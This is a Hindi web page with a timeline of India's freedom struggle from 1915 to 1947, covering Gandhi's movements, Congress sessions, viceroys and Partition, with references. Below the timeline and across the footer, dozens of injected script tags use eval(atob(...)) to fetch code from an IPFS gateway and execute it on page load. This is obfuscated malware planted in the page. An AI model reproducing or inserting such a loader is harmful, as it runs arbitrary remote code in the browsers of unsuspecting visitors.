517 1915 ई. भारतीय सुरक्षा अधिनियम। गाँधी जी दक्षिण अफ़्रीका से लौटे। अहमदाबाद में सत्याग्रह आश्रम की स्थापना। गोपाल कृष्ण गोखले का निधन। एनी बेसेन्ट द्वारा 'होमरूल लीग' के गठन की घोषणा (25 सितम्बर)।
518 1916 ई. लोकमान्य तिलक द्वारा 'होमरूल लीग' की स्थापना (26 अप्रैल)। कांग्रेस-मुस्लिम लीग के बीच 'लखनऊ समझौता'। पूना में प्रथम महिला विश्वविद्यालय की स्थापना। बनारस हिन्दू विश्वविद्यालय की स्थापना। दादाभाई नौरोजी का निधन।
519 1916–1921 ई. लॉर्ड चेम्सफोर्ड का वायसराय काल।
520 1917 ई. मांटेग्यू भारत-मंत्री नियुक्त तथा इनकी भारत यात्रा। कांग्रेस तथा मुस्लिम लीग की बम्बई में पहली संयुक्त बैठक। 'मांटेग्यू घोषणा'। भारत में स्वायत्तशासी संस्थाओं का क्रमिक विकास तथा उत्तरदायी सरकार की स्थापना। गाँधी जी द्वारा चम्पारन सत्याग्रह आरम्भ। होमरूल आंदोलन के सिलसिले में एनी बेसेन्ट बंदी। शिक्षा से सम्बन्धित सैडलर आयोग की नियुक्ति। रौलट एक्ट कमेटी का गठन।
521 1918 ई. रौलट एक्ट रिपोर्ट तथा मांटेग्यू-चेम्सफोर्ड रिपोर्ट प्रकाशित। सेनामें अफ़सरों के पद पर नियुक्ति के लिए भारतीय अर्ह घोषित। रासबिहारी बोस की अध्यक्षता में 'बंगीय जनसभा' की स्थापना। सुरेन्द्रनाथ बनर्जी की अध्यक्षता में बम्बई में आल इंडिया मॉडरेट कांफ्रेंस आयोजित। गाँधी जी के द्वारा अहमदाबाद कपड़ा मजदूरों की मांग के समर्थन में सत्याग्रह के रूप में पहली बार भूख हड़ताल का प्रयोग किया गया। सुरेन्द्रनाथ बनर्जी नेशनल लिबरल लीग के अध्यक्ष निर्वाचित।
522 1919 ई. मांटेग्यू-चेम्सफोर्ड सुधार पारित। रौलट एक्ट पारित। जलियांवाला बाग़ नरसंहार। ख़िलाफत कमेटी की स्थापना। रवीन्द्रनाथ ठाकुर द्वारा सर की उपाधि वापस। बम्बई में मिल मजदूरों का पहला सम्मेलन। एनी बेसेन्ट की अध्यक्षता में दिल्ली में पहला अखिल भारतीय महिला सम्मेलन आयोजित। इलाहाबाद में 'लीडर समाचार पत्र' के कार्यालय में 'उत्तर प्रदेश लिबरेशन एसोसिएशन' की स्थापना। तृतीय अफ़ग़ान युद्ध। भारतीय सरकार अधिनियम 1919 पारित।
523 1920 ई. ख़िलाफ़त तथा असहयोग आंदोलन आरम्भ। गाँधी जी द्वारा बोअर युद्ध में मिला 'केसर-ए-हिन्द' पदक सरकार को वापस। लॉर्ड सिन्हा बिहार-उड़ीसा के गवर्नर। कांग्रेस का नेतृत्व गांधीजी के हाथ में। 'अखिल भारतीय ट्रेड यूनियन कांग्रेस' की स्थापना। अलीगढ़ मुस्लिम विश्वविद्यालय की स्थापना। तिलक की मृत्यु। हण्टर समिति की रिपोर्ट प्रकाशित।
524 1921–1926 ई. लॉर्ड रीडिंग का वायसराय काल।
525 1921 ई. प्रिंस आफ़ वेल्स एडवर्ड की भारत यात्रा। 'चेम्बर आफ़ प्रिंसेस' की स्थापना। विजयवाड़ा अखिल भारतीय कांग्रेस कमेटी सम्मेलन में तिलक स्वराज कोष के लिए एक करोड़ रुपये एकत्रित करने का निर्णय (1 अप्रैल)। दिल्ली अखिल भारतीय कांग्रेस कमेटी में गाँधी जी का सविनय अवज्ञा आंदोलन प्रस्ताप पारित (4 नवम्बर)। मोपला विद्रोह (20 नवम्बर)। गुरुद्वारा सुधार आंदोलन, बोलपुर ([[पश्चिम बंगाल]) में 'विश्वभारती शान्ति निकेतन विश्वविद्यालय' की स्थापना। हड़प्पा में उत्खनन प्रारम्भ। भारत सरकार अधिनियम 1919 लागू।
526 1922 ई. कलकत्ता में सविनय अवज्ञा आंदोलन आरम्भ (15 जून)। चौरी-चौरा कांड (5 फ़रवरी)। बारदोली में कांग्रेस कार्यसमिति द्वारा सविनय अवज्ञा आंदोलन स्थगित करने का निर्णय (12 फ़रवरी)। कांग्रेस द्वारा सामूहिक सविनय अवज्ञा आंदोलन स्थगित (31 दिसम्बर)। मोतीलाल नेहरू तथा चितरंजन दास द्वारा 'स्वराज पार्टी' की स्थापना। मांटेग्यू का इस्तीफ़ा।
527 1923 ई. मदन मोहन मालवीय द्वारा 'इंडियन पार्टी' की स्थापना। बम्बई में कपड़ा मजदूरों की 'गिरनी कामग़ार यूनियन' स्थापित। 'हिन्दुस्तान रिपब्लिकन एसोसिएसन' की स्थापना। नमक-कर क़ानून पारित। सेना की कुछ बटालियनों की क़मान का भारतीयकरण। प्रफुल्ल चन्द्र द्वारा अहमदाबाद में गुजरात विद्यापीठ की आधारशिला, कमाल पाशा द्वारा तुर्की को धर्मनिरपेक्ष राज्य घोषित करने से ख़िलाफ़त आंदोलन स्वतः समाप्त। स्वराजियों का परिषदों में प्रवेश।
528 1924 ई. कानपुर कॉन्सिपिरेसी केस। गाँधी जी पहली बार एवं अन्तिम बार कांग्रेस अध्यक्ष (बेलगाँव)।
529 1925 ई. अखिल भारतीय दलित वर्ग एसोसिएशन की स्थापना। अंतरविद्यालय बोर्ड गठित। अखिल भारतीय कांग्रेस कमेटी की कार्यवाहियों के लिए हिन्दुस्तानी भाषा की स्वीकृति (26 दिसम्बर)। सिख गुरुद्वारा पारित। चितरंजन दास का निधन। विट्ठलभाई पटेल विधानसभा में प्रथम भारतीय अध्यक्ष नियुक्त। शान्ति निकेतन में गाँधी जी तथा रवीन्द्रनाथ ठाकुर में सामाजिक समस्याओं पर बातचीत (30 मई)। लॉर्ड लिटन द्वितीय स्थानापन्न वायसराय
530 1926–31 ई. लॉर्ड इरविन वायसराय
531 1926 ई. ट्रेड यूनियन एक्ट पारित। रुपये का अवमूल्यन। दिल्ली में 'आल इंडिया प्रोहिबेशन लीग' (अखिल भारतीय नशाबन्दी लीग) की स्थापना (31 जनवरी)। अखिल भारतीय कांग्रेस कमेटी द्वारा स्वराज पार्टी के सदस्यों को केन्द्रीय विधानसभा से त्यागपत्र देने का प्रस्ताव पारित (6 मार्च)। गाँधी जी द्वारा गुवाहाटी अधिवेशन में स्वाधीनता प्रस्ताव का विरोध (26 दिसम्बर)।
532 1927 ई. साइमन कमीशन की नियुक्ति। भारतीय नौसेना अधिनियम। कांग्रेस के मद्रास अधिवेशन में स्वतंत्रता के लक्ष्य की घोषणा। पूना में बड़ौदा की महारानी की अध्यक्षता में 'अखिल भारतीय सम्मेलन' आयोजित (5 जून)। इलाहाबाद में पंडित मदन मोहन मालवीय की अध्यक्षता में आयोजित सर्वदलीय सम्मेलन द्वारा साइमन कमीशन का बहिष्कार करने का निर्णय (11 दिसम्बर)। मुस्लिम लीग का विभाजन (29 दिसम्बर)।
533 1928 ई. डॉ. अंसारी की अध्यक्षता में सर्वदलीय बहिष्कार सम्मेलन बनारस में आयोजित। साइमन कमीशन के भारत आगमन पर 3 फ़रवरी को हड़ताल का आह्वान (15 जनवरी)। साइमन कमीशन भारत में आया (3 फ़रवरी)। नेहरू रिपोर्ट, हिन्दुस्तान रिपब्लिकन की विभिन्न शाखाओं को संगठित कर 'हिन्दुस्तान सोशलिस्ट रिपब्लिक' की स्थापना (8-9 दिसम्बर) (इसका निर्णय सुखदेव, शिववर्मा, फणीन्द्रनाथ बोस, भगत सिंह, विजय कुमार सिन्हा तथा कुंदनलाल विद्यार्थी द्वारा फ़िरोज़शाह कोटला स्टेडियम, दिल्ली में एक गुप्त बैठक में लिया गया। चन्द्रशेखर आज़ाद बैठक में नहीं थे, परन्तु उन्हें एसोसिएशन के सशस्त्र विभाग का प्रधान नियुक्त किया गया।) साइमन कमीशन का विरोध करते समय पुलिस लाठीचार्ज में लाला लाजपत राय घायल (17 नवम्बर)। कलकत्ता में जवाहर लाल नेहरू की अध्यक्षता में 'अखिल भारतीय समाजवादी युवा कांगेस' का पहला सम्मेलन (27 दिसम्बर)। कांग्रेस अधिवेशन में गांधीजी की घोषणा—"यदि आप मेरे साथ सहयोग करें और ईमानदारी तथा बुद्धिमता से काम करें तो साल भर में स्वराज मिल जाएगा" (31 दिसम्बर)। कांग्रेस अधिवेशन में डोमिनियन स्टेट्स के पक्ष में प्रस्ताव पारित तथा सुभाषचन्द्र बोस का पूर्ण स्वाधीनता प्रस्ताव अस्वीकृत। 'इंडिपेन्डेंस लीग' की स्थापना। कृषि के लिए शाही आयोग की नियुक्ति।
534 1929 ई. इलाहाबाद में अबुलकलाम आज़ाद की अध्यक्षता में 'अखिल भारतीय मुस्लिम सोशलिस्ट पार्टी' की स्थापना (इससे पहले राष्ट्रवादी मुसलमान नेता सैय्यद अहमद बरेलवी तथा युसूफ़ मुहर अली द्वारा 'कांगेस मुस्लिम पार्टी की स्थापना) (27-28 जुलाई)। केन्द्रीय असेम्बली में भगतसिंहबटुकेश्वर दत्त द्वारा बम फेंका गया (8 अप्रैल)। कृषि शोध परिषद् का गठन। मेरठ षड़यंत्र के अभियुक्तों पर मुकदमा आरम्भ। लाहौर षड़यंत्र के अभियुक्त जतिन दास की 64 दिनों की भूख हड़ताल के बाद मृत्यु। 166 दिन की भूख हड़ताल के बाद रंगून जेल में फूंजी विजाजा की मृत्यु। लॉर्ड इरविन की घोषणा। भारत का संवैधानिक प्रगति का लक्ष्य औपचारिक राज्य की स्थापना (31 अक्टूबर)। लाहौर में कांगेस के 44वें अधिवेशन में जवाहर लाल नेहरू की अध्यक्षता में स्वराज्य का प्रस्ताव पारित (29 दिसम्बर)। 31 दिसम्बर की मध्यरात्रि के समय पंडित जवाहरलाल नेहरू ने रावी तट पर तिरंगा फहराया।
535 1930 ई. जवाहर लाल नेहरू द्वारा 26 जनवरी को स्वाधीनता दिवस के रूप में मनाने का आह्वान (7 जनवरी)। हिन्दुस्तान रिपब्लिकन सोसायटी द्वारा 'बम का दर्शन' नामक पर्ची प्रकाशित (2 फ़रवरी)। अखिल भारतीय कांग्रेस पार्टी द्वारा सविनय अवज्ञा आंदोलन (नमक) का कार्यक्रम स्वीकृत (19 फ़रवरी)। डांडी यात्रा आरम्भ (12 मार्च)। नमक क़ानून तोड़ा गया (6 अप्रैल)। 28 मार्च को 'आनन्द भवन' देश को समर्पित तथा 11 अप्रैल को 'स्वराज भवन' के रूप में नामकरण। सुभाषचन्द्र बोस कलकत्ता नगर निगम के मेयर निर्वाचित (22 अगस्त)। सी. वी. रमन को भौतिकी का नोबेल पुरस्कार (14 नवम्बर)। प्रथम गोलमेज सम्मेलन लन्दन में। कांग्रेस कार्यसमिति ग़ैरक़ानूनी घोषित (25 अगस्त)।
536 1931–1936 ई. वायसराय लॉर्ड विलिंगटन का वायसराय काल।
537 1931 ई. कांग्रेस कार्यसमिति पर से प्रतिबंध हटा (26 जनवरी)। लखनऊ में मोतीलाल नेहरू का निधन (5 फ़रवरी)। इलाहाबाद में पुलिस मुठभेड़ में चन्द्रशेखर आज़ाद की मृत्यु (27 फ़रवरी)। गांधी-इरविन समझौता (मार्च)। लाहौर में रावी तट पर भगत सिंह, राजगुरु तथा सुखदेव को फाँसी (23 मार्च)। शोक स्वरूप गाँधी जी को कराची अधिवेशन में युवा क्रान्तिकारियों द्वारा काले फूल भेंट (31 मार्च)। बम्बई कांग्रेस हाउस में सरोजिनी नायडू द्वारा राष्ट्रीय झंडा दिवस का उदघाटन (26 अप्रैल)। कांग्रेस कार्यसमिति की ओर से गांधीजी को गोलमेज सम्मेलन में कांग्रेस का प्रतिनिधि नियुक्त किया गया (10 जून)। गांधीजी द्वारा प्रस्तावित चरखा युक्त झंडा राष्ट्रीय कांग्रेस का ध्वज बना (1 अगस्त)। संयुक्त प्रान्त में लगान-रोको आंदोलन (11 दिसम्बर)। रॉयल लेबर कमीशन की रिपोर्ट प्रकाशित।
538 1932 ई. सरकार द्वारा प्रस्तावित संवैधानिक शासन सुधारों पर श्वेतपत्र प्रकाशित। मेरठ षड़यंत्र केस के 27 अभियुक्तों को सज़ा (16 जनवरी)। गाँधी जी द्वारा व्यक्तिगत सत्याग्रह आरम्भ (26 जून)। एनी बेसेन्ट का देहान्त (20 सितम्बर)। पहली बार 'पाकिस्तान' शब्द का प्रयोग। गांधीजी द्वारा साप्ताहिक 'हरिजन' की शुरुआत। रैम्जे मैक्डोनल्ड द्वारा 16 अगस्त को साम्प्रदायिक निर्णय की घोषणा। 24 सितम्बर को गांधीजी और अम्बेडकर के मध्य पूना समझौता सम्पन्न।
539 1934 ई. सविनय अवज्ञा आंदोलन वापस। पटना में आचार्य नरेन्द्रदेव की अध्यक्षता में 'कांग्रेस समाजवादी पार्टी' के गठन की घोषणा (17 मई)। कांग्रेस चुनाव घोषणा पत्र प्रकाशित (14 जून)। गाँधी जी कुछ समय के लिए कांग्रेस से अलग (17 सितम्बर)। बम्बई में सम्पूर्णानन्द की अध्यक्षता में 'अखिल भारतीय कांग्रेस सोशलिस्ट पार्टी' का औपचारिक उदघाटन (21 अक्टूबर)। उत्तरी भारत में भारी भूकम्पबिहार में भीषण तबाही।
540 1935 ई. भारत सरकार अधिनियम 1935 पारित (अगस्त)। भारत-ब्रिटेन व्यापार समझौता। गाँधी जी के साथी तथा सत्याग्रह आंदोलन में जेल जाने वाले प्रथम व्यक्ति मोहन लाल पाण्ड्या का निधन (18 मई)। गाँधीजी द्वारा मीरा बेन के लिए वर्धा के पास सेवा गाँव के आश्रम (सेवाश्रम) की स्थापना (22 अक्टूबर)।
541 1936–44 ई. लॉर्ड लिनलिथगो का वायसराय काल।
542 1936 ई. सम्राट जॉर्ज पंचम का निधन (21 जनवरी)। जॉर्ज षष्टम सम्राट बने। अखिल भारतीय कांग्रेस कमेटी अधिवेशन में कांग्रेस कार्रवाई की भाषा हिन्दी बनाए जाने सम्बन्धी प्रस्ताव अस्वीकृत (23 अगस्त)।
543 1937 ई. संघीय न्यायालय की स्थापना। प्रान्तीय स्वशासन का उदघाटन (अप्रैल)। 11 में से 7 प्रान्तों में कांग्रेस मंत्रिमण्डल गठित। मध्य प्रान्त में डॉ. एन. जी. खरे द्वारा देश का पहला मंत्रिमण्डल गठित (9 जून)। केन्द्रीय विधानसभी में चिंतामणि देशमुख द्वारा प्रस्तुत पति की सम्पत्ति में विधवाओं को उत्तराधिकार दिलाने वाला विधेयक पारित (5 फ़रवरी)। गाँधी जी के नेतृत्व में अखिल भारतीय शिक्षा कांफ़्रेंस द्वारा नई शिक्षा नीति का नियोजन।
544 1938 ई. सुभाषचन्द्र बोस कांग्रेस के अध्यक्ष निर्वाचित। बी. डी. सावरकर हिन्दू महासभा के अध्यक्ष निर्वाचित। शरतचन्द्र चटर्जी तथा मोहम्मद इक़बाल की मृत्यु।
545 1939 ई. त्रिपुरा अधिवेशन में सुभाषचन्द्र बोस कांग्रेस के अध्यक्ष पद पर दुबारा निर्वाचित तथा बाद में त्यागपत्र (28 अप्रैल)। बोस द्वारा 'फारवर्ड ब्लाक' की स्थापना (3 मई)। द्वितीय विश्वयुद्ध आरम्भ (3 सितम्बर)। विश्वयुद्ध में भारत को बिना इजाज़त शामिल करने के विरोधस्वरूप प्रान्तीय कांग्रेस मंत्रिमण्डलों का त्यागपत्र। जिन्ना द्वारा कांग्रेस शासन से मुक्ति के लिए 22 दिसम्बर को 'मुक्ति दिवस' के रूप में मनाने का आह्वान (8 अक्टूबर)।
546 1940 ई. मौलान अबुलकलाम आज़ाद कांग्रेस अध्यक्ष। मुस्लिम लीग के लाहौर अधिवेशन में जिन्ना द्वारा मुसलमानों के लिए पृथक देश की मांग (22 मार्च)। कांग्रेस कार्यसमिति द्वारा गाँधी जी का व्यक्तिगत सत्याग्रह स्वीकृत (13 अक्टूबर)। विनोबा भावे पहले व्यक्तिगत सत्याग्रही।
547 1941 ई. जापान द्वारा युद्ध की घोषणा। जिन्ना द्वारा पाकिस्तान की परिकल्पना पर कांग्रेस की स्वीकृति की मांग (17 अप्रैल)। सुभाषचन्द्र बोस नज़रबन्दी से भागकर कलकत्ता से जर्मनी पहुँचे।
548 1942 ई. बर्मा में अंग्रेज़ों का आत्मसमर्पण। अखिल भारतीय कांग्रेस कमेटी के बम्बई अधिवेशन में 'अंग्रेज़ों, भारत छोड़ो' प्रस्ताव पारित तथा देशव्यापी आंदोलन शुरू (8 अगस्त)।
549 1943 ई. मुस्लिम लीग ने अपने कराची अधिवेशन में 'डिवाइड एंड क्किट' (बाँटों और छोड़ो) स्लोगन को पारित किया।
550 1944–47 ई. लॉर्ड वेवेल का वायसराय काल।
551 1944 ई. असम पर जापानी आक्रमण। लाहौर में प्रमुख अकाली नेता शेरसिंह की घोषणा कि देश विभाजन या पाकिस्तान की मांग को स्वीकृति दी गई तो सिख भी अलग स्वतंत्र राष्ट्र की मांग करेंगे (1 सितम्बर)। सी. राजगोपालाचारी के सुझावों पर संवैधानिक अड़चन के लिए गांधीजी-जिन्ना वार्ता (9 सितम्बर)। आज़ाद हिन्द फ़ौज भारत के निकट पहुँची।
552 1945 ई. ब्रिटेन में लेबर पार्टी की सरकार। द्वितीय विश्वयुद्ध की समाप्ति। लॉर्ड वेवेल की घोषणा। आज़ाद हिन्द फ़ौज का आत्मसमर्पण तथा उन पर पहली बार मुकदमा।
553 1946 ई. कैबिनेट मिशन भारत में। नौसेना विद्रोह (18 फ़रवरी)। मुस्लिम लीग ने 16 अगस्त को 'सीधी कार्रवाई' दिवस मनाया। अंतरिम सरकार का गठन (2 सितम्बर)। जवाहर लाल नेहरू प्रधानमंत्री नियुक्त। मुस्लिम लीग अंतरिम सरकार में शामिल (26 अक्टूबर)। संविधान सभा की पहली बैठक (दिसम्बर)। कैबिनेट मिशन योजना की घोषणा (16 जून)।
554 1947–48 ई. लॉर्ड माउण्टबेटन का वायसराय काल (24 मार्च से)।
555 1947 ई. ब्रिटिश संसद में प्रधानमंत्री क्लीमेंट रिचर्ड हेडली द्वारा जून, 1948 तक अंग्रेज़ों के भारत छोड़ने के निर्णय की घोषणा (20 फ़रवरी)। माउण्ट बेटन द्वारा जून, 1948 के स्थान पर 15 अगस्त, 1947 को सत्ता हस्तांतरण करने का निर्णय (3 जून)। अखिल भारतीय कांग्रेस समिति द्वारा विभाजन प्रस्ताव पारित (15 जून)। ब्रिटिश संसद में भारत-पाकिस्तान विभाजन पारित तथा 15 अगस्त, 1947 को सत्ता हस्तांतरण सम्बन्धी 'भारतीय स्वाधीनता अधिनियम' 4 जुलाई, 1947 को संसद में पेश किया गया। भारतीय स्वाधीनता अधिनियम को ब्रिटिश सम्प्रभु (सम्राट) की स्वीकृति (18 जुलाई)। 14 अगस्त को पाकिस्तान बना तथा 15 अगस्त को भारत स्वाधीन। जवाहरलाल नेहरू प्रधानमंत्री तथा लॉर्ड माउण्टबेटन गवर्नर-जनरल बने।

भारत के राज्यों का इतिहास

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


बाहरी कड़ियाँ


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध


टीका टिप्पणी और संदर्भ

  1. पुस्तक 'भारत का इतिहास' रोमिला थापर) पृष्ठ संख्या-19
  2. देखें: शोध ग्रंथ वेल्स, स्पेन्सर (2002) अ जेनेटिक ओडिसी (अंग्रेज़ी)। प्रिन्सटन यूनिवर्सिटी प्रॅस, न्यू जर्सी, सं.रा.अमरीका। ISBN 0-691-11532-X।
  3. Juzr or Jurz.Persian Texts in Translation The Packard Humanities Institute। Archived from the original on 2007-09-29। अभिगमन तिथि: 2007-05-31
  4. John Keay (2001) India: a history। Grove Press। ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5।
  5. Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age। Bharatiya Vidya Bhavan।
  6. John Keay (2001) India: a history। Grove Press। ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5।
  7. 1975 ई. में पुर्तग़ाली शासन ने वास्तविकता को समझकर इसको वैधानिक मान्यता दे दी है।
Home-icon.png विस्तार में पढ़ें इतिहास प्रांगण (पोर्टल)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
